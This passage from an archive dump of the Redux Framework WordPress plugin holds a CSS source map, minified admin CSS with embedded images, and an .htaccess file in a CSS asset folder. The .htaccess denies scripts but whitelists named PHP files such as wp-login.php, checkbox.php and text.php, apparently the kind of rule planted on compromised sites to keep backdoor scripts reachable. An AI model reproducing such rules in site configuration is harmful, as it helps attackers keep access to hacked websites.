color: #B94A48 } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/import_export/import_export.css.map��������������������������������������0000644�����������������00000000323�14720701300�0021064 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AAAA,sDAAuD;EACnD,OAAO,EAAE,IAAI;;AAGjB,4CAA6C;EACzC,OAAO,EAAE,IAAI;;AAGjB,yBAA0B;EACtB,KAAK,EAAE,OAAO", "sources": ["import_export.scss"], "names": [], "file": "import_export.css" }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/import_export/.htaccess��������������������������������������������������0000644�����������������00000001626�14720701300�0016470 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/redux-admin.css����������������������������������������������������������0000644�����������������00000474566�14720701300�0014727 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.spinner{visibility:hidden;display:block}.spinner.is-active{visibility:visible}.redux-main .description{margin-top:7px}.redux-container{background-color:#f5f5f5;background-repeat:repeat-x;background-image:-moz-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #f2f2f2), color-stop(100%, #f5f5f5));background-image:-webkit-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);background-image:-ms-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);background-image:-o-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#eeeeee', GradientType=0);background-image:-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%);border:1px solid #dedede;-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.04);box-shadow:0 1px 1px rgba(0,0,0,0.04);-moz-box-shadow:0 1px 5px rgba(0,0,0,0.4);margin-top:5px;overflow:hidden}.redux-container .form-table>tbody>tr>th{width:30%}.redux-container .form-table th,.redux-container .form-table td{margin:0;padding:0;width:auto}.redux-container .redux_field_th{font-weight:600;padding:20px 10px 20px 0px;display:block}.redux-container .redux_field_th span:first-child{font-weight:normal;display:block;color:#666}.redux-container #ui-datepicker-div{display:none}.redux-container a:focus{box-shadow:none}.redux-container #redux-header,.redux-container #redux-footer{text-align:right;padding:6px 10px}.redux-container #redux-header{background:#f1f1f1;border-bottom:3px solid blue}.redux-container #redux-header .display_header{float:left;margin:20px 10px}.redux-container #redux-header .display_header h2{display:inline-block;font-style:normal;padding-right:5px}.redux-container #redux-header .display_header .redux-dev-mode-notice-container{position:absolute;top:67px;left:20px;bottom:auto;width:auto}.redux-container #redux-header .display_header span{color:#888}.redux-container #redux-header .display_header span.redux-dev-mode-notice{background-color:#f0ad4e;display:inline;padding:.2em .5em .2em;font-weight:700;line-height:1;color:#fff !important;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}.redux-container #redux-header .icon32{float:right;margin:16px 16px 0}.redux-container #redux-footer{border-top:1px solid #E7E7E7;z-index:999}.redux-container #redux-footer #redux-share{float:left;line-height:28px;font-size:15px}.redux-container #redux-footer #redux-share a{text-decoration:none;margin-right:10px}.redux-container #redux-footer #redux-share a img{margin-bottom:-3px}.redux-container .notice-green{margin:0;border-bottom:1px solid #E7E7E7;background-color:#DFF0D8;color:#468847;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-container .notice-blue{margin:0;border-bottom:1px solid #BCE8F1;background-color:#D9EDF7;color:#3A87AD;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-container .notice-yellow{margin:0;border-bottom:1px solid #E7E7E7;background-color:#FCF8E3;color:#C09853;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-container .notice-red,.redux-container .redux-field-errors{margin:0;border-bottom:1px solid #E7E7E7;background-color:#F2DEDE;color:#B94A48;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-container .redux-field-error input,.redux-container .redux-field-error textarea,.redux-container .redux-field-error checkbox{background-color:#FFF6F6;color:#A00}.redux-container .redux-field-warning input,.redux-container .redux-field-warning textarea,.redux-container .redux-field-warning checkbox{background-color:#fcf8e3;color:#444}.redux-container .redux-field-errors,.redux-container .redux-field-warnings,.redux-container .redux-save-warn{display:none}.redux-container .sticky-save-warn{min-height:76px}.redux-container .sticky-save-warn .redux-save-warn{position:fixed;top:32px;right:21px;left:183px;opacity:1;z-index:9999}.redux-container #info_bar{background:#f3f3f3;border-bottom:1px solid #dedede;padding:6px 10px 6px 6px;text-align:right;-moz-box-shadow:inset 0 1px 0 #fcfcfc;-webkit-box-shadow:inset 0 1px 0 #fcfcfc;box-shadow:inset 0 1px 0 #fcfcfc}.redux-container .redux-group-tab{display:none;margin-bottom:15px}.redux-container .redux-group-tab .redux-theme-data{padding:20px 0;border-top:1px solid #E7E7E7}.redux-container .redux-group-tab .redux-theme-data.theme-description{padding:10px 0;border-width:0}.redux-container .redux-group-tab .redux-theme-data.theme-uri,.redux-container .redux-group-tab .redux-theme-data.theme-author,.redux-container .redux-group-tab .redux-theme-data.theme-version{padding:0;border-width:0}.redux-container .redux-group-tab h3{margin-top:0;line-height:2em;border-bottom:1px solid #E7E7E7}.redux-container .redux-group-tab .redux-section-desc{margin-bottom:15px;color:#666}.redux-container .redux-action_bar{float:right}.redux-container .redux-action_bar .spinner{float:left;margin-top:4px}.redux-container .redux-ajax-loading{display:none;background:red url(data:image/gif;base64,R0lGODlhEAAQAPUAAIiIiIqKio2NjZSUlJqamp6enqKioqSkpK+vr7i4uL+/v8PDw8XFxcnJyc/Pz9HR0dTU1NjY2Nzc3OLi4ubm5unp6ezs7PPz88vLy83NzdDQ0NXV1d3d3eHh4bu7u8zMzOvr6+3t7ZiYmNbW1sDAwMTExNra2s7OztPT09vb2+Xl5QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/i1NYWRlIGJ5IEtyYXNpbWlyYSBOZWpjaGV2YSAod3d3LmxvYWRpbmZvLm5ldCkAIfkEAAoA/wAsAAAAABAAEAAABXDgJY6XZZEoOTnOlI5WdUFNA5UnSR3FJNUSieFAIUUEgcdl4noEBBGSZaHIiSqKhTX2GhVFiQGjuxgkSoYAoosAGE6RhKQrUURHlS+pItMVCHMjEgQ9JBJISg+JT3ciFg4NFkcCNw0OViiDgF0oTC8hACH5BAAKAP8ALAAAAAAQABAAAAVx4CWOZGle1qJYp2hV1xYE29V1JXUYHWUcnQgGwyFFBAENiqUZ1kapFamTyeBcsNOLMkoMGC3GIIEyBBAtRMDAiiSKp04iQqpwc9kRpUCAizgEBVciEQNJFxpKGgECdFAYYBsCAjUMGS0XgAODmDacIyEAIfkEAAoA/wAsAAAAABAAEAAABnbAi3BILBovIMUidBSGQJdNIKBBMomUg6FDMRgoHcOBQowIqNaLJiCIEEMLxdWpnIfITRAHnxgwjiEfDR8UIQYBCEcgDYwdUR6ORxEfG3MgeFiFRB0FBBxEHAQFkUJmaBofamxuRB9/GwICGxeMTRehnrabpERBACH5BAAKAP8ALAAAAAAQABAAAAZ9wItwSCwaL5aFwnIUWiqXUSAwulSYRMrB0KEYDJSO4UAhRgQBDZLpCAgixOSSWFEssEho81IWJgYMTQwDCUgGAQhNCAEGTCMJHU0dCXBDFX1DFhwdeHwFIhxmGBihQxEDaRcOGhYao1WZGIFnAiMUDg6YRR0ioE57Fx2RRkEAIfkEAAoA/wAsAAAAABAAEAAABXLgJY5kaV7WolinaLGQEEBXxZLUUUyUYVATw4FCisg0NZYmIIiQUosKqaJY3FDS1oUoSgwYrcUggTIAEC1EwMCKJCatSYI2qnBx2dGkQOCQOAQFdxdGARoVGhCITE4kGBgWEI8QFgwYWhGTWiMWERFXIyEAIfkEAAoA/wAsAAAAABAAEAAABn/Ai3BILBovloXCchRaKpdRIDC6VJhEysHQoRgMlI7hQCFGBAENkukICCLE5JJYUSywSGjzUhYmBgxNDAMJSAYBCE0IAAZMEQkdTRwKVUMcHHhCFXpDERgYcJYEBZFDI58aFhoOFxpuoUIUGhoUZwJVGA6ZaxccBAQce0QdpUVBACH5BAAKAP8ALAAAAAAQABAAAAZ8wItwSCwaLyEFKXQUhioXSCAAuVSYRMrB0KEYDJSO4UAhmgQBDZKpCQhMxFBJgRVWlFkOtElhUj4NH3VEJQMJFx0NintFCAEGISEQH3BHHR5VThVlRRSMQh0FBBxEHAQFnEJnaRcfHxdtb0WKIWcCVSUNTYgEo7tEHR1HQQAh+QQACgD/ACwAAAAAEAAQAAAGdcCLcEgsGi8hhSJ0FHY6l1EgMLqAmEROo5HqGAwqL5g42qKsoAsqIEgRVacTdAhSLLBI1bWpwiYGDE0MAwlIBgEITQgBBkwjCRxNHQlVdCpGekUqBQSRQxwEBZdDKQIBZ3FqbG5EDYEjpikhW3hFoJ1NRU9HQQA7) no-repeat;width:16px;height:16px;margin:3px 4px 0;float:right}.redux-container #redux-intro-text{background:#f3f3f3;border-bottom:1px solid #dedede;-moz-box-shadow:inset 0 1px 0 #fcfcfc;-webkit-box-shadow:inset 0 1px 0 #fcfcfc;box-shadow:inset 0 1px 0 #fcfcfc;padding:3px;padding:10px 10px}.redux-container #redux-intro-text p{margin:0;font-family:"Lucida Grande", Sans-serif;color:#888}.redux-container .expand_options{cursor:pointer;display:block;height:22px;width:21px;float:left;font-size:0;text-indent:-9999px;margin:1px 0 0 5px;border:1px solid #bbb;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -26px}.redux-container .expand_options.expanded{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAyCAIAAAAm4OfBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAQhJREFUeNrslT0KhDAQhTeLR7ATT6IXSKGFYO0lciFrO1N4AU8TLNXKv0CaJbLJRAZxl1hYyJuXN+PoR/Z9fyFdBNNr27Zf8Oq6bhgGSGUYhpTSzyeBNi8hRFVVEK+6rrXaQFOs6yrvTdOYjcqyVEpTLqXI89yaSypBudq2xckF2TipOSvfmmhZFuAGnJV6Licvey5gj7fnwpwXvEfLfqnT0jQ1OBJCQLnUBvZ9b85VFAV076UU8g1ZckVRxBiDzD6OY62WzPOM9i+cpunvvcZxfCQfPWs9a91Ym2UZ5xyHtd/e8hXWng+/zlrD9jmz1tDj7bkw5wXv0Y210itJEs9az9oHsPYQYACveK0/IuB51AAAAABJRU5ErkJggg==) no-repeat -2px -1px}.redux-container .expand_options:hover{border-color:#888}.redux-container .sticky-footer-fixed{background:#f3f3f3;border-top:1px solid #dedede !important;-moz-box-shadow:inset 0 1px 0 #fcfcfc;-webkit-box-shadow:inset 0 1px 0 #fcfcfc;box-shadow:inset 0 1px 0 #fcfcfc}.redux-container .redux-sidebar,.redux-container .redux-main{min-height:300px}.redux-container .redux-main{background:#FCFCFC;margin-left:201px;border-left:1px solid #D8D8D8;padding:10px 20px;-moz-box-shadow:inset 0 1px 0 #fff;-webkit-box-shadow:inset 0 1px 0 #FFF;box-shadow:inset 0 1px 0 #FFF;position:relative}.redux-container .redux-main #redux_ajax_overlay{position:absolute;top:0;left:0;right:0;bottom:0;-moz-opacity:0.10;-khtml-opacity:0.10;opacity:0.10;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=10);filter:alpha(opacity=10);background:#000;z-index:200;display:none}.redux-container .redux-main .form-table.no-border{border-top:none}.redux-container .redux-main .form-table tr{border-bottom:1px solid #E7E7E7}.redux-container .redux-main .form-table tr:last-child{border-bottom:none !important}.redux-container .redux-main .form-table tr th,.redux-container .redux-main .form-table tr td{color:#333}.redux-container .redux-main .form-table tr td table.mceLayout,.redux-container .redux-main .form-table tr td table.mceLayout tr,.redux-container .redux-main .form-table tr td table.mceLayout tr td{padding:0;border-width:0}.redux-container .redux-main .form-table tr td .redux-th-warning{font-size:1em;color:#C09853;font-weight:normal;display:block;margin-top:10px}.redux-container .redux-main .form-table tr td .redux-field-warning{border-color:#C09853;margin-top:10px}.redux-container .redux-main .form-table tr td .redux-th-error{font-size:1em;color:#B94A48;font-weight:normal;display:block;margin-top:10px}.redux-container .redux-main input.large-text{width:100%}.redux-container .redux-main .hide{display:none}.redux-container .redux-main .redux-field-container{padding:20px 0}.redux-container .redux-main .mini,.redux-container .redux-main input[type=text].mini{width:60px;text-align:center}.redux-container .redux-main input{line-height:19px}.redux-container .redux-main img{max-width:100%;height:auto;width:auto !important}.redux-container .redux-main .select2-default{width:auto !important}.redux-container .redux-main .showDefaults{display:block;font-weight:normal;font-size:.8em;color:#888}.redux-container .redux-main span.description{display:block;font-style:normal;font-weight:400}.redux-container .redux-main #redux-system-info textarea{min-height:730px;width:100%}.redux-container .redux-main .field-desc{clear:both;font-size:13px}.redux-container .redux-main .data-full li{width:100%}.redux-container .redux-main .data-half li{width:50%;float:left}.redux-container .redux-main .data-third li{width:33.3%;float:left}.redux-container .redux-main .data-quarter li{width:25%;float:left}.redux-container .redux-main .ui-helper-hidden-accessible{top:inherit}.redux-container .redux-main .form-table{clear:none;margin-top:0px !important}.redux-container .redux-main .form-table tr:first-child th,.redux-container .redux-main .form-table tr:first-child td{padding-top:0}.redux-container .redux-main .input-append input{border-right:0;margin-bottom:0;border-top-right-radius:0;border-bottom-right-radius:0;margin-right:0;float:left;margin-top:0;display:block}.redux-container .redux-main .input-append .add-on{border-top-right-radius:3px;border-bottom-right-radius:3px;margin-left:-2px;padding-top:4px !important;padding-bottom:2px !important}.redux-container .redux-main .input-prepend input{border-left:0;margin-bottom:0;border-top-left-radius:0;border-bottom-left-radius:0;margin-left:0;padding-top:2px;padding-bottom:5px;float:left;margin-top:0;display:block}.redux-container .redux-main .input-prepend .add-on{border-top-left-radius:3px;border-bottom-left-radius:3px;float:left}.redux-container .redux-main .input-append{margin-right:10px;font-size:0;white-space:nowrap;float:left;display:inline-block;margin-bottom:6px}.redux-container .redux-main .input-append .add-on,.redux-container .redux-main .input-prepend .add-on{width:auto;display:inline-block;min-width:16px;padding:3px 4px;font-size:12px;font-weight:400;line-height:20px;text-align:center;text-shadow:0 1px 0 #ffffff;background-color:#eeeeee;border:1px solid #cccccc}.redux-container .redux-main .input-prepend{font-size:0;white-space:nowrap;float:left;display:inline-block;margin-bottom:6px}.redux-container .redux-main pre{white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word}.no-js{border:1px solid #ffbaba;margin:0;border-bottom:1px solid #E7E7E7;background-color:#F2DEDE;color:#B94A48;padding:8px 35px 8px 14px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.redux-sidebar{width:202px;float:left}.redux-sidebar .redux-group-menu{margin-top:0 !important}.redux-sidebar .redux-group-menu li{margin-top:0}.redux-sidebar .redux-group-menu li.active a,.redux-sidebar .redux-group-menu li.active a:hover,.redux-sidebar .redux-group-menu li.activeChild a,.redux-sidebar .redux-group-menu li.activeChild a:hover{background:#FCFCFC;color:#269ad6;width:184px;opacity:1}.redux-sidebar .redux-group-menu li.active a li a{background:#333;padding-left:5px}.redux-sidebar .redux-group-menu li.divide{padding:0;border-width:1px 0;border-style:solid;border-bottom-color:#E7E7E7;border-top-color:#F9F9F9}.redux-sidebar .redux-group-menu li a:first-child{border-top:none}.redux-sidebar .redux-group-menu li a{display:block;padding:10px 4px 10px 14px;background:#e0e0e0;background:transparent;border-width:1px 0;border-style:solid;border-bottom-color:#E7E7E7;border-top-color:#F9F9F9;opacity:0.7;color:#555;font-weight:600;text-decoration:none;-webkit-transition:none;transition:none}.redux-sidebar .redux-group-menu li a.custom-tab{background:#f6f6f6}.redux-sidebar .redux-group-menu li a img{width:16px;height:16px;position:absolute;left:15px}.redux-sidebar .redux-group-menu li a:hover{background:#e5e5e5;color:#777;opacity:1}.redux-sidebar .redux-menu-warning,.redux-sidebar .redux-menu-error,.redux-sidebar .hasSubSections .extraIconSubsections{display:inline-block;float:right;padding:6px 7px 4px 7px;margin-left:4px;font-family:sans-serif;font-size:9px;font-weight:600;line-height:9px;border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;border:0 solid transparent}.redux-sidebar .redux-menu-warning i,.redux-sidebar .redux-menu-error i,.redux-sidebar .hasSubSections .extraIconSubsections i{margin-left:-3px;margin-top:-3px}.redux-sidebar .redux-menu-error{background-color:#b94a48;color:#f2dede}.redux-sidebar .redux-menu-warning{background-color:#C09853;color:#FCF8E3}.redux-sidebar ul .subsection{display:none}.redux-sidebar .redux-group-tab-link-a{position:relative;outline:0}.redux-sidebar .redux-group-tab-link-a i{vertical-align:middle;font-size:1.35em;position:absolute}.redux-sidebar .redux-group-tab-link-a span{display:block}.redux-sidebar .redux-group-tab-link-a span.group_title{padding-left:30px}.redux-sidebar .redux-group-tab-link-li a.hasError span.group_title{padding-right:25px}.redux-sidebar #redux-header{text-align:center}.redux-sidebar #redux-header .display_header{float:none}.farb-popup-wrapper{position:relative;display:block}.farb-popup{position:absolute;left:40px;top:40px;background-color:white;border:1px solid #222;padding:5px;z-index:100}.mp6 .icon-themes{display:none}.mp6 .redux-container #info_bar{padding:6px 10px 6px 6px}.mp6 .redux-container #info_bar a{margin-top:2px}.redux-timer{text-align:center;font-size:10px;color:#888}.wrap{margin-top:0}@media screen and (max-width: 600px){.redux-sidebar{width:44px}.redux-sidebar .extraIconSubsections{display:none !important}.redux-sidebar .redux-group-menu li a,.redux-sidebar .redux-group-menu li a:hover,.redux-sidebar .redux-group-menu li.active a,.redux-sidebar .redux-group-menu li.active a:hover,.redux-sidebar .redux-group-menu li.activeChild a,.redux-sidebar .redux-group-menu li.activeChild a:hover{width:auto}.redux-sidebar .redux-group-tab-link-a{position:relative}.redux-sidebar .redux-group-tab-link-a i{position:inherit}.redux-sidebar .redux-group-tab-link-a span{display:none;position:absolute;top:0;left:44px;padding:12px;width:200px;background:#eeeeee;border:1px solid #ccc;-webkit-box-shadow:2px 2px 8px rgba(0,0,0,0.2);-moz-box-shadow:2px 2px 8px rgba(0,0,0,0.2);box-shadow:2px 2px 8px rgba(0,0,0,0.2);border-width:1px 1px 1px 0px;z-index:3}.redux-sidebar .redux-group-tab-link-a:hover>span{display:block}.redux-main{margin-left:43px;width:auto;max-width:100%}table.form-table,.form-table>thead,.form-table>tbody,.form-table>tbody>tr>th,.form-table>tbody>tr>td,.form-table>tbody>tr{display:block;width:100% !important;padding:0px !important}.form-table>tbody>tr>th,.form-table>tbody>tr>td{padding:10px !important}.form-table>tbody>tr>th,.form-table>tbody>tr>td{padding:10px !important}}@media screen and (max-width: 782px){.form-table>tbody>tr>th{width:100%}.redux_field_th{padding-bottom:0}.mp6 .redux-container #info_bar{height:auto;padding-bottom:1px}.mp6 .redux-container #info_bar a{margin-top:5px}.redux-container-switch label{padding:5px 10px !important}.redux-container-button_set label{padding:12px 10px}.redux-container #redux-footer #redux-share{line-height:34px}}pre{overflow:hidden}#redux-header h2{color:#fff}.admin-color-fresh .button.ui-datepicker-current,.admin-color-fresh button.ui-datepicker-close,.wp-customizer .button.ui-datepicker-current,.wp-customizer button.ui-datepicker-close{background-color:#007db9 !important}.admin-color-fresh .ui-datepicker-buttonpane button.ui-datepicker-current,.wp-customizer .ui-datepicker-buttonpane button.ui-datepicker-current{background:#1e8cbe !important;color:white !important;border:1px solid #104b66 !important}.admin-color-fresh .ui-datepicker-header .ui-icon,.wp-customizer .ui-datepicker-header .ui-icon{background-image:url(data:image/png;base64,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